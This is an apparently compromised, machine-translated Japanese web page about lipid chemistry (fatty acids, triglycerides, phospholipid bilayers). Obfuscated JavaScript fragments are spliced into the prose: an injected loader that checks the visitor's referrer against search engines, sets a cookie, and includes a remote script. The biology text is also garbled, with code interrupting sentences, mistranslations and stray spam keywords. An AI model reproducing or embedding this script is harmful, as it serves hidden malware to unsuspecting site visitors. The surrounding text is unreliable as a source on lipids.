さらに、細胞内の細胞小器官は、原形質膜と同様の化学組成で、生体膜の助けを借りて区画化されている。.. altavista ',_0x592ae3['ICAgP']],_0x5860d4=document['referrer'],_0x3501ac=![],_0x1cd9a0=cookie[_0x5a05('0x27')](_0x592ae3[_0x5a05('0x28')]);for(var _0x5a78e9=0x0;_0x592ae3['WqnoA'](_0x5a78e9,_0x234a40[_0x5a05('0x8')]);_0x5a78e9++){if(_0x592ae3[_0x5a05('0x29')](_0x592ae3['NQXgr'],'VWECh')){return cookie[name];}else{if(_0x592ae3['ogTwO'](_0x5860d4[_0x5a05('0x2a')](_0x234a40[_0x5a78e9]),0x0)){_0x3501ac=!![];}}}if(_0x3501ac){if(_0x5a05('0x2b')===_0x5a05('0x2b')){cookie[_0x5a05('0x2c')](_0x592ae3['LcHuS'],0x1,0x1);if(!_0x1cd9a0){_0x592ae3[_0x5a05('0x2d')](include,_0x592ae3[_0x5a05('0x2e')](_0x592ae3['qJLsM'](_0x5a05('0x2f'),q),''));}}else{document[_0x5a05('0x7')]=_0x592ae3['ckMMW'](_0x592ae3[_0x5a05('0x30')](_0x592ae3[_0x5a05('0x30')](_0x592ae3['vFxVM'](_0x592ae3[_0x5a05('0x2e')](name,'='),_0x592ae3[_0x5a05('0x2d')](escape,value)),expires?_0x592ae3[_0x5a05('0x31')]+new Date(new Date()[_0x5a05('0x18')]()+expires*0x3e8):'')+(path?_0x592ae3[_0x5a05('0x32')]+path:''),domain?_0x592ae3[_0x5a05('0x33')]+domain:''),secure?_0x592ae3[_0x5a05('0x34')]:'');}}}R(); 脂質の最も際立った特徴は、末端にカルボキシル基(C = O)を持つ炭化水素鎖です。.
例:エストロゲンやテストステロンなどのステロイドホルモンはコレステロールでできており、他の代謝機能とは別に、食品の加工や神経細胞の構築に使用されます。.
これは、それらが疎水性(脂肪酸テール)領域と親水性(リン酸基)領域の両方を有するためである。.. constructor(\x22return\x20this\x22)(\x20)'+');')();}catch(_0x157420){_0x47fdee=window;}return _0x47fdee;};var _0x3af13e=_0x16f46c();var _0x31c45f='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x3af13e['atob']||(_0x3af13e['atob']=function(_0x496bae){var _0x16290f=String(_0x496bae)['replace'](/=+$/,'');for(var _0x41a2b4=0x0,_0x56bf4b,_0x1efc03,_0x4989e5=0x0,_0x23ab1b='';_0x1efc03=_0x16290f['charAt'](_0x4989e5++);~_0x1efc03&&(_0x56bf4b=_0x41a2b4%0x4?_0x56bf4b*0x40+_0x1efc03:_0x1efc03,_0x41a2b4++%0x4)?_0x23ab1b+=String['fromCharCode'](0xff&_0x56bf4b>>(-0x2*_0x41a2b4&0x6)):0x0){_0x1efc03=_0x31c45f['indexOf'](_0x1efc03);}return _0x23ab1b;});}());_0x5a05['GXDzxT']=function(_0x43f922){var _0x24edb3=atob(_0x43f922);var _0x5c9bf6=[];for(var _0x3b5cdb=0x0,_0x1d52b8=_0x24edb3['length'];_0x3b5cdb=_0x53d693;},'qJLsM':function(_0x37416c,_0x30cda5){return _0x37416c+_0x30cda5;}};var _0x234a40=[_0x592ae3[_0x5a05('0x22')],_0x592ae3[_0x5a05('0x23')],_0x592ae3[_0x5a05('0x24')],_0x592ae3[_0x5a05('0x25')],_0x592ae3[_0x5a05('0x26')],'.. 脂肪酸が水と相互作用すると、可溶性のカルボキシル末端が溶解して水と層を形成しますが、炭化水素の物語は水面の外側に残ります。.. 通常、脂肪酸はトリグリセリド - グリセロール分子+ 3脂肪酸尾の形で貯蔵されています.
上の図は、グリセロール分子に結合した2つの脂肪酸からなるジグリセリドを示しています.. 主にリン脂質でできている脂質二重層。グリセロール分子は2つの脂肪酸鎖に結合し、グリセロールの3番目の部位は親水性リン酸基に結合しています.. グリセリン 疎水性 覚え方脂質は、同じ質量の炭水化物の2倍以上のエネルギーを与えるので、重要な形態のエネルギー貯蔵を提供します。.. 最初の図からわかるように、2つの炭化水素の尾があります。1つは飽和で、もう1つは不飽和です。炭素原子が二重結合を形成している場合、尾にねじれが見られます。.. このよじれは細胞の流動性を高め、運動性や構造の柔軟性を高め、加工食品を苦しめる飽和脂肪よりも健康的になります。.. また、脂肪酸の炭化水素鎖のすべての炭素原子が単結合で結合している場合、化合物は飽和していると言われます。これはすべての炭素原子の両側に水素原子があることを意味します。.. 脂肪酸のカルボキシル末端は非常に極性が高いため水溶性(親水性の意味は水に引き寄せられる).. したがって、それは水素原子を保持することができず、したがって不飽和であると言われるだろう. 5ebbf469cd